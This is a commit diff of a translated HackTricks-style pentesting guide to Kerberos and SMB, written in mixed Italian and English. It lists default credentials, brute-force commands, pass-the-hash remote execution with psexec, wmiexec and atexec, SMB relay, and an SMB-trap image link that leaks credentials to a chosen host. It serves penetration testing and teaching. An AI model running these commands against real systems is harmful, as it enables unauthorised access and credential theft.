Translated ['src/pentesting-web/file-upload/README.md', 'src/network-ser

2025-10-10 18:36:50 +00:00 · 2025-09-29 09:30:45 +00:00 · 2025-09-29 09:30:45 +00:00 · c7898b6794
commit c7898b6794
parent dccd9d8649
4 changed files with 399 additions and 270 deletions
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@ -2,22 +2,59 @@
 {{#include ../../banners/hacktricks-training.md}}
-## Informazioni di Base
+## Basic Information
-**Kerberos** opera su un principio in cui autentica gli utenti senza gestire direttamente il loro accesso alle risorse. Questa è una distinzione importante perché sottolinea il ruolo del protocollo nei framework di sicurezza.
+**Kerberos** si basa sul principio di autenticare gli utenti senza gestire direttamente il loro accesso alle risorse. Questa è una distinzione importante perché sottolinea il ruolo del protocollo nei framework di sicurezza.
-In ambienti come **Active Directory**, **Kerberos** è strumentale nell'estabilire l'identità degli utenti convalidando le loro password segrete. Questo processo garantisce che l'identità di ogni utente sia confermata prima che interagiscano con le risorse di rete. Tuttavia, **Kerberos** non estende la sua funzionalità per valutare o far rispettare i permessi che un utente ha su specifiche risorse o servizi. Invece, fornisce un modo sicuro per autenticare gli utenti, che è un passo critico nel processo di sicurezza.
+In ambienti come **Active Directory**, **Kerberos** è fondamentale per stabilire l'identità degli utenti validando le loro password segrete. Questo processo garantisce che l'identità di ogni utente sia confermata prima che interagisca con le risorse di rete. Tuttavia, **Kerberos** non estende la sua funzionalità alla valutazione o all'applicazione delle autorizzazioni che un utente possiede su risorse o servizi specifici. Fornisce invece un metodo sicuro per autenticare gli utenti, che rappresenta un primo passo critico nel processo di sicurezza.
-Dopo l'autenticazione da parte di **Kerberos**, il processo decisionale riguardante l'accesso alle risorse è delegato ai singoli servizi all'interno della rete. Questi servizi sono quindi responsabili della valutazione dei diritti e dei permessi dell'utente autenticato, basandosi sulle informazioni fornite da **Kerberos** riguardo ai privilegi dell'utente. Questo design consente una separazione delle preoccupazioni tra l'autenticazione dell'identità degli utenti e la gestione dei loro diritti di accesso, abilitando un approccio più flessibile e sicuro alla gestione delle risorse nelle reti distribuite.
+Dopo l'autenticazione effettuata da **Kerberos**, il processo decisionale riguardo all'accesso alle risorse viene delegato ai singoli servizi all'interno della rete. Questi servizi sono quindi responsabili di valutare i diritti e le autorizzazioni dell'utente autenticato, basandosi sulle informazioni fornite da **Kerberos** sui privilegi dell'utente. Questa architettura permette una separazione delle responsabilità tra l'autenticazione dell'identità degli utenti e la gestione dei loro diritti di accesso, consentendo un approccio più flessibile e sicuro alla gestione delle risorse nelle reti distribuite.
-**Porta Predefinita:** 88/tcp/udp
+**Porta predefinita:** 88/tcp/udp
 ```
 PORT   STATE SERVICE
 88/tcp open  kerberos-sec
 ```
-### **Per imparare a sfruttare Kerberos dovresti leggere il post su** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
+### **Per imparare come abusare di Kerberos dovresti leggere il post su** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
-## Maggiori informazioni
+## Ambienti Kerberos-only: preparazione del client e troubleshooting
 Quando NTLM è disabilitato sui servizi di dominio (SMB/WinRM/etc.), devi autenticarti con Kerberos. Trappole comuni e una procedura funzionante:
 - La sincronizzazione dell'orologio è obbligatoria. Se l'orologio del tuo host è sfasato di più di pochi minuti vedrai `KRB_AP_ERR_SKEW` e tutte le autenticazioni Kerberos falliranno. Sincronizza con il DC:
 ```bash
 # quick one-shot sync (requires sudo)
 sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
 ```
 - Genera un krb5.conf valido per il realm/dominio di destinazione. `netexec` (fork di CME) può generarne uno per te mentre testi SMB:
 ```bash
 # Generate krb5.conf and install it
 netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
 sudo cp krb5.conf /etc/krb5.conf
 ```
 - Ottieni un TGT e verifica il ccache:
 ```bash
 kinit <user>
 klist
 ```
 - Usa Kerberos con SMB tooling (no passwords sent, uses your ccache):
 ```bash
 # netexec / CME
 netexec smb <dc.fqdn> -k            # lists shares, runs modules using Kerberos
 # impacket examples also support -k / --no-pass to use the ccache
 smbclient --kerberos //<dc.fqdn>/IPC$
 ```
 - GSSAPI SSH single sign-on (OpenSSH a Windows OpenSSH server):
 ```bash
 # Ensure krb5.conf is correct and you have a TGT (kinit)
 # Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
 ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
 ```
 Suggerimenti:
 - Ensure your `/etc/hosts` resolves the exact FQDN you will SSH/SMB to, and that it comes before any bare domain entries if you are overriding DNS. SPN mismatches break GSSAPI.
 - If NTLM is disabled on SMB you may see `STATUS_NOT_SUPPORTED` with NTLM attempts; add `-k` to force Kerberos.
 ## Altro
 ### Shodan
@ -25,7 +62,7 @@ PORT   STATE SERVICE
 ### MS14-068
-Il difetto MS14-068 consente a un attaccante di manomettere il token di accesso Kerberos di un utente legittimo per rivendicare falsamente privilegi elevati, come essere un Domain Admin. Questa rivendicazione contraffatta viene erroneamente convalidata dal Domain Controller, consentendo l'accesso non autorizzato alle risorse di rete nell'intera foresta di Active Directory.
+La vulnerabilità MS14-068 permette a un attaccante di manomettere il token di login Kerberos di un utente legittimo per dichiarare falsamente privilegi elevati, ad esempio essere un Domain Admin. Questa rivendicazione contraffatta viene erroneamente convalidata dal Domain Controller, consentendo accesso non autorizzato alle risorse di rete attraverso l'Active Directory forest.
 {{#ref}}
@ -34,7 +71,14 @@ https://adsecurity.org/?p=541
 Altri exploit: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
-## HackTricks Comandi Automatici
+## Riferimenti
 - [NetExec (CME) wiki – Kerberos e generazione di krb5.conf](https://www.netexec.wiki/)
 - [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
 - [MIT Kerberos – Usare Kerberos su UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
 - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
 ## HackTricks Comandi automatici
 ```
 Protocol_Name: Kerberos    #Protocol Abbreviation if there is one.
 Port_Number:  88   #Comma separated if there is more than one.
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@ -4,58 +4,58 @@
 ## **Porta 139**
-Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per permettere ad applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione dei dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono tramite i loro nomi NetBIOS, che possono essere lunghi fino a 16 caratteri e sono spesso diversi dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che agisce come client) invia un comando "call" a un'altra applicazione (che agisce come server) utilizzando **TCP Port 139**.
+Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per consentire ad applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione dei dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS vengono effettuate tramite i loro nomi NetBIOS, che possono avere fino a 16 caratteri e sono spesso distinti dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) invia un comando per "chiamare" un'altra applicazione (che funge da server) utilizzando la **porta TCP 139**.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
-## Port 445
+## Porta 445
-Tecnicamente, la porta 139 è indicata come ‘NBT over IP’, mentre la porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, che è anche oggi noto come **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicazione, SMB/CIFS è utilizzato principalmente per permettere l'accesso condiviso a file, stampanti, porte seriali e per facilitare varie forme di comunicazione tra nodi di una rete.
+Dal punto di vista tecnico, la porta 139 è indicata come ‘NBT over IP’, mentre la porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, noto anche come **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicazione, SMB/CIFS è principalmente utilizzato per consentire l'accesso condiviso a file, stampanti, porte seriali e per facilitare varie forme di comunicazione tra i nodi di una rete.
-Ad esempio, nel contesto di Windows, si evidenzia che SMB può funzionare direttamente su TCP/IP, eliminando la necessità di NetBIOS over TCP/IP, mediante l'utilizzo della porta 445. Al contrario, su altri sistemi si osserva l'impiego della porta 139, il che indica che SMB viene eseguito in combinazione con NetBIOS over TCP/IP.
+Ad esempio, nel contesto di Windows, viene evidenziato che SMB può operare direttamente su TCP/IP, eliminando la necessità di NetBIOS over TCP/IP, grazie all'utilizzo della porta 445. Al contrario, su altri sistemi si rileva l'impiego della porta 139, il che indica che SMB viene eseguito in combinazione con NetBIOS over TCP/IP.
 ```
 445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
 ```
 ### SMB
-Il protocollo **Server Message Block (SMB)**, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, le directory e altre risorse di rete come stampanti e router. Utilizzato principalmente nella serie di sistemi operativi **Windows**, SMB garantisce compatibilità retroattiva, permettendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software libera, che consente l'implementazione di SMB su sistemi **Linux** e **Unix**, facilitando così la comunicazione cross-platform tramite SMB.
+Il protocollo **Server Message Block (SMB)**, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente nella famiglia di sistemi operativi **Windows**, SMB garantisce compatibilità retroattiva, permettendo a dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software libera che rende possibile l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
-Le share, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in modo parzialmente **indipendente** dalla struttura reale del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, permettono un **controllo granulare** sui permessi utente, includendo attributi come `execute`, `read` e `full access`. Questi permessi possono essere assegnati a singoli utenti o gruppi, basati sulle share, e sono distinti dai permessi locali impostati sul server.
+Le shares, che rappresentano parti arbitrarie del file system locale, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in modo parzialmente indipendente dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i diritti di accesso, consentono un controllo granulare sulle autorizzazioni degli utenti, includendo attributi come `execute`, `read` e `full access`. Queste autorizzazioni possono essere assegnate a singoli utenti o a gruppi, in base alle share, e sono distinte dalle autorizzazioni locali impostate sul server.
 ### IPC$ Share
-L'accesso alla share IPC$ può essere ottenuto tramite una null session anonima, permettendo l'interazione con i servizi esposti tramite named pipes. L'utility `enum4linux` è utile a questo scopo. Utilizzata correttamente, consente l'acquisizione di:
+L'accesso alla share IPC$ può essere ottenuto tramite una anonymous null session, permettendo l'interazione con i servizi esposti tramite named pipes. L'utility `enum4linux` è utile per questo scopo. Se utilizzata correttamente, permette di acquisire:
 - Informazioni sul sistema operativo
 - Dettagli sul dominio padre
 - Un elenco di utenti e gruppi locali
- Informazioni sulle share SMB disponibili
+- Informazioni sulle SMB shares disponibili
- La policy di sicurezza effettiva del sistema
+- La policy di sicurezza di sistema effettiva
-Questa funzionalità è fondamentale per amministratori di rete e professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
+Questa funzionalità è fondamentale per amministratori di rete e professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB (Server Message Block) su una rete. `enum4linux` fornisce una vista completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
 ```bash
 enum4linux -a target_ip
 ```
-Il comando sopra è un esempio di come `enum4linux` potrebbe essere utilizzato per eseguire un'enumerazione completa contro un target specificato da `target_ip`.
+Il comando sopra è un esempio di come `enum4linux` possa essere usato per eseguire una enumerazione completa contro un target specificato da `target_ip`.
-## Cos'è NTLM
+## Che cos'è NTLM
-Se non sai cos'è NTLM o vuoi capire come funziona e come abusarne, troverai molto interessante questa pagina su **NTLM**, che spiega **come funziona questo protocollo e come puoi sfruttarlo:**
+Se non sai cos'è NTLM o vuoi capire come funziona e come abusarne, troverai molto interessante questa pagina su **NTLM** dove è spiegato **come funziona questo protocollo e come puoi sfruttarlo:**
 {{#ref}}
 ../../windows-hardening/ntlm/
 {{#endref}}
-## **Enumerazione del server**
+## **Enumerazione dei server**
-### **Scansione** di una rete alla ricerca di hosts:
+### **Scansione** di una rete alla ricerca di host:
 ```bash
 nbtscan -r 192.168.0.1/24
 ```
 ### Versione del server SMB
-Per cercare possibili exploits relativi alla versione SMB è importante sapere quale versione è in uso. Se queste informazioni non compaiono negli altri strumenti utilizzati, puoi:
+Per cercare possibili exploit per la versione di SMB è importante sapere quale versione è in uso. Se questa informazione non appare negli altri strumenti utilizzati, puoi:
 - Usa il modulo ausiliario **MSF** `**auxiliary/scanner/smb/smb_version**`
 - Oppure questo script:
@ -82,14 +82,14 @@ searchsploit microsoft smb
 ```
 ### **Possibili** Credenziali
-| **Nome utente(s)**   | **Password comuni**                      |
+| **Username(s)**      | **Common passwords**                      |
 | -------------------- | ----------------------------------------- |
-| _(vuoto)_            | _(vuoto)_                                 |
+| _(blank)_            | _(blank)_                                 |
-| guest                | _(vuoto)_                                 |
+| guest                | _(blank)_                                 |
-| Administrator, admin | _(vuoto)_, password, administrator, admin |
+| Administrator, admin | _(blank)_, password, administrator, admin |
 | arcserve             | arcserve, backup                          |
 | tivoli, tmersrvd     | tivoli, tmersrvd, admin                   |
-| backupexec, backup   | backupexec, backup, arcada               |
+| backupexec, backup   | backupexec, backup, arcada                |
 | test, lab, demo      | password, test, lab, demo                 |
 ### Brute Force
@ -120,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
 /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
 /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
 ```
-### Enumerare Utenti, Gruppi e Utenti Connessi
+### Enumerare utenti, gruppi e utenti connessi
-Queste informazioni dovrebbero già essere raccolte da enum4linux e enum4linux-ng
+Queste informazioni dovrebbero già essere state raccolte da enum4linux e enum4linux-ng
 ```bash
 crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
 crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -134,13 +134,13 @@ rpcclient -U "" -N 10.10.10.10
 enumdomusers
 enumdomgroups
 ```
-### Enumerare utenti locali
+### Enumerare gli utenti locali
 [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
 ```bash
 lookupsid.py -no-pass hostname.local
 ```
-Comando in una riga
+Oneliner
 ```bash
 for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
 ```
@ -157,13 +157,13 @@ run
 rpcclient-enumeration.md
 {{#endref}}
-### Connessione GUI da Linux
+### GUI connection from linux
 #### Nel terminale:
 `xdg-open smb://cascade.htb/`
-#### Nella finestra del file manager (nautilus, thunar, ecc.)
+#### Nella finestra del file browser (nautilus, thunar, ecc)
 `smb://friendzone.htb/general/`
@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
 smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
 smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
 ```
-### **Enumerare manualmente le share di windows e connettersi ad esse**
+### **Enumerare manualmente le condivisioni Windows e connettersi a esse**
-Potrebbe essere che tu sia limitato nella visualizzazione delle share della macchina host e quando provi a elencarle sembra che non ci siano share disponibili a cui connettersi. Perciò può valere la pena provare brevemente a connettersi manualmente a una share. Per enumerare le share manualmente potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando usi una sessione valida (es. null session o valid credentials). Queste possono indicare se la share esiste ma non hai accesso oppure se la share non esiste affatto.
+Potrebbe essere possibile che ti sia impedito di visualizzare le share della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Perciò potrebbe valere la pena provare brevemente a connettersi manualmente a una share. Per enumerare le share manualmente potresti cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME quando usi una valid session (e.g. null session or valid credentials). Queste possono indicare se la share esiste ma non hai accesso oppure che la share non esiste affatto.
 Common share names for windows targets are
@ -212,9 +212,9 @@ Common share names for windows targets are
 - SYSVOL
 - NETLOGON
-(Common share names from _**Network Security Assessment 3rd edition**_)
+(Nomi di share comuni tratti da _**Network Security Assessment 3rd edition**_)
-Puoi provare a connetterti ad esse usando il seguente comando
+Puoi provare a connetterti a esse usando il seguente comando
 ```bash
 smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
 smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -238,10 +238,10 @@ done
 ```
 esempi
 ```bash
-smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
+smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
-smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
+smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
 ```
-### **Enumerare le condivisioni da Windows / senza strumenti di terze parti**
+### **Elencare le condivisioni da Windows / senza strumenti di terze parti**
 PowerShell
 ```bash
@ -267,14 +267,14 @@ fsmgmt.msc
 # Computer Management: Computer Management > System Tools > Shared Folders > Shares
 compmgmt.msc
 ```
-explorer.exe (interfaccia grafica), digita `\\<ip>\` per vedere le condivisioni non nascoste disponibili.
+explorer.exe (interfaccia grafica), inserisci `\\<ip>\` per vedere le condivisioni non nascoste disponibili.
 ### Montare una cartella condivisa
 ```bash
 mount -t cifs //x.x.x.x/share /mnt/share
 mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
 ```
-### **Scaricare file**
+### **Scarica file**
 Leggi le sezioni precedenti per imparare come connettersi usando credentials/Pass-the-Hash.
 ```bash
@ -294,13 +294,13 @@ smbclient //<IP>/<share>
 Comandi:
 - mask: specifica la mask usata per filtrare i file nella directory (es. "" per tutti i file)
- recurse: abilita/disabilita la ricorsione (predefinito: disattivato)
+- recurse: attiva/disattiva la ricorsione (predefinito: disattivato)
- prompt: disattiva la richiesta dei nomi dei file (predefinito: attivato)
+- prompt: disattiva la richiesta dei nomi file (predefinito: attivato)
- mget: copia tutti i file che corrispondono alla mask da host a client machine
+- mget: copia tutti i file che corrispondono alla mask dall'host alla macchina client
 (_Informazioni dalla manpage di smbclient_)
-### Ricerca cartelle condivise di dominio
+### Ricerca di cartelle condivise del dominio
 - [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
@ -312,11 +312,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```bash
 sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
 ```
-Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`**, poiché **possono contenere password** per utenti configurati con **autologon** tramite Group Policy. Anche i file **`web.config`** sono importanti perché contengono credenziali.
+Particolarmente interessanti dalle share sono i file chiamati **`Registry.xml`** in quanto **possono contenere password** per utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali.
 > [!TIP]
-> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati del dominio. Al suo interno potresti **trovare** molti diversi batch, VBScript e PowerShell **script**.\
+> La **SYSVOL share** è **leggibile** da tutti gli utenti autenticati nel dominio. Lì potresti **trovare** molti diversi batch, VBScript e PowerShell **scripts**.\
-> Dovresti **controllare** gli **script** al suo interno perché potresti **trovare** informazioni sensibili come **password**.
+> Dovresti **controllare** gli **scripts** al suo interno poiché potresti **trovare** informazioni sensibili come **password**.
 ## Leggere il registro
@ -328,35 +328,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
 ```
 ## Post Exploitation
-La **config di default** di un server **Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe contenere delle **config pericolose**:
+La **config di default** di un **Samba** server si trova solitamente in `/etc/samba/smb.conf` e potrebbe contenere alcune **config pericolose**:
-| **Impostazione**            | **Descrizione**                                                     |
+| **Impostazione**           | **Descrizione**                                                     |
 | --------------------------- | ------------------------------------------------------------------- |
-| `browseable = yes`          | Consentire l'elenco delle condivisioni disponibili nella condivisione corrente? |
+| `browseable = yes`          | Permette di elencare le condivisioni disponibili nella share corrente? |
-| `read only = no`            | Vieta la creazione e la modifica di file?                           |
+| `read only = no`            | Vieta la creazione e la modifica dei file?                          |
-| `writable = yes`            | Permettere agli utenti di creare e modificare file?                 |
+| `writable = yes`            | Permette agli utenti di creare e modificare file?                   |
-| `guest ok = yes`            | Permettere la connessione al servizio senza usare una password?     |
+| `guest ok = yes`            | Permette di connettersi al servizio senza usare una password?       |
-| `enable privileges = yes`   | Rispettare i privilegi assegnati a uno specifico SID?              |
+| `enable privileges = yes`   | Onora i privilegi assegnati a SID specifici?                        |
 | `create mask = 0777`        | Quali permessi devono essere assegnati ai file appena creati?       |
 | `directory mask = 0777`     | Quali permessi devono essere assegnati alle directory appena create? |
 | `logon script = script.sh`  | Quale script deve essere eseguito al login dell'utente?             |
-| `magic script = script.sh`  | Quale script dovrebbe essere eseguito quando lo script viene chiuso? |
+| `magic script = script.sh`  | Quale script deve essere eseguito quando lo script viene chiuso?    |
-| `magic output = script.out` | Dove deve essere memorizzato l'output dello magic script?           |
+| `magic output = script.out` | Dove deve essere memorizzato l'output del magic script?             |
 Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**.
-## Authenticate using Kerberos
+## Autenticarsi usando Kerberos
 Puoi **autenticarti** a **Kerberos** usando gli strumenti **smbclient** e **rpcclient**:
 ```bash
 smbclient --kerberos //ws01win10.domain.com/C$
 rpcclient -k ws01win10.domain.com
 ```
-## **Eseguire comandi**
+In ambienti solo Kerberos (NTLM disabilitato), i tentativi NTLM contro SMB possono restituire `STATUS_NOT_SUPPORTED`. Risolvi i problemi Kerberos più comuni e forza l'autenticazione Kerberos:
 ```bash
 # sync clock to avoid KRB_AP_ERR_SKEW
 sudo ntpdate <dc.fqdn>
 # use Kerberos with tooling (reads your TGT from ccache)
 netexec smb <dc.fqdn> -k
 ```
 Per una configurazione completa del client (generazione di krb5.conf, kinit, considerazioni su SSH GSSAPI/SPN) vedere:
 {{#ref}}
 ../pentesting-kerberos-88/README.md
 {{#endref}}
 ## **Eseguire Comandi**
 ### **crackmapexec**
-crackmapexec può eseguire comandi **sfruttando** uno qualsiasi di **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il metodo **predefinito**. Puoi indicare quale opzione preferisci usare con il parametro `--exec-method`:
+crackmapexec può eseguire comandi **sfruttando** uno qualsiasi di **mmcexec, smbexec, atexec, wmiexec**, con **wmiexec** come metodo **predefinito**. Puoi indicare quale opzione preferisci usare con il parametro `--exec-method`:
 ```bash
 apt-get install crackmapexec
@ -380,9 +394,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
 ```
 ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
-Entrambe le opzioni **creeranno un nuovo servizio** (usando _\pipe\svcctl_ via SMB) sulla macchina vittima e lo utilizzeranno per **eseguire qualcosa** (**psexec** caricherà un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**file-less technique-**-).\
+Entrambe le opzioni **creano un nuovo servizio** (usando _\pipe\svcctl_ via SMB) sul sistema della vittima e lo usano per **eseguire qualcosa** (**psexec** farà **upload** di un file eseguibile nella share ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**file-less technique-**-).\
-**Maggiori informazioni** su [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
+**Maggiori informazioni** su [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
-In **kali** si trova in /usr/share/doc/python3-impacket/examples/
+Su **kali** si trova in /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
 ./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -390,19 +404,19 @@ In **kali** si trova in /usr/share/doc/python3-impacket/examples/
 psexec \\192.168.122.66 -u Administrator -p 123456Ww
 psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
 ```
-Usando il **parametro**`-k` puoi autenticarti tramite **kerberos** invece di **NTLM**
+Usando **parameter**`-k` puoi autenticarti con **kerberos** invece di **NTLM**
 ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
-Esegui furtivamente una shell di comandi senza toccare il disco o avviare un nuovo servizio usando DCOM tramite **port 135.**\
+Esegui in modo stealth una shell di comandi senza toccare il disco o avviare un nuovo servizio usando DCOM tramite **port 135.**\
-In **kali** si trova in /usr/share/doc/python3-impacket/examples/
+Su **kali** si trova in /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
 ./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
 ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
 #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
 ```
-Usando il **parametro**`-k` puoi autenticarti con **kerberos** invece di **NTLM**
+Usando il **parametro**`-k` puoi autenticarti tramite **kerberos** invece di **NTLM**
 ```bash
 #If no password is provided, it will be prompted
 ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,8 +425,8 @@ Usando il **parametro**`-k` puoi autenticarti con **kerberos** invece di **NTLM*
 ```
 ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
-Eseguire comandi tramite il Task Scheduler (usando _\pipe\atsvc_ via SMB).\
+Esegui comandi tramite il Task Scheduler (usando _\pipe\atsvc_ via SMB).\
-Su **kali** si trova in /usr/share/doc/python3-impacket/examples/
+In **kali** si trova in /usr/share/doc/python3-impacket/examples/
 ```bash
 ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
 ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -421,48 +435,48 @@ Su **kali** si trova in /usr/share/doc/python3-impacket/examples/
 [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
-### ksmbd superficie di attacco e fuzzing del protocollo SMB2/SMB3 (syzkaller)
+### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
 {{#ref}}
 ksmbd-attack-surface-and-fuzzing-syzkaller.md
 {{#endref}}
-## **Bruteforce credenziali utenti**
+## **Bruteforce delle credenziali degli utenti**
-**Questo non è raccomandato, potresti bloccare un account se superi il numero massimo di tentativi consentiti**
+**Non è raccomandato, potresti bloccare un account se superi il numero massimo di tentativi consentiti**
 ```bash
 nmap --script smb-brute -p 445 <IP>
 ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
 ```
 ## SMB relay attack
-Questo attacco utilizza il toolkit Responder per **catturare sessioni di autenticazione SMB** su una rete interna, e **inoltrarle** a una **target machine**. Se la **sessione di autenticazione** ha successo, ti porterà automaticamente in una **system** **shell**.\
+This attack uses the Responder toolkit to **catturare sessioni di autenticazione SMB** su una rete interna e **inoltrarle** a una **target machine**. Se la **sessione di autenticazione** ha successo, ti darà automaticamente accesso a una **system** **shell**.\
 [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 ## SMB-Trap
-La libreria di Windows URLMon.dll tenta automaticamente di autenticarsi all'host quando una pagina cerca di accedere a contenuti tramite SMB, per esempio: `img src="\\10.10.10.10\path\image.jpg"`
+The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
-Questo avviene con le funzioni:
+This happens with the functions:
 - URLDownloadToFile
 - URLDownloadToCache
 - URLOpenStream
 - URLOpenBlockingStream
-Che sono utilizzate da alcuni browser e strumenti (come Skype)
+Which are used by some browsers and tools (like Skype)
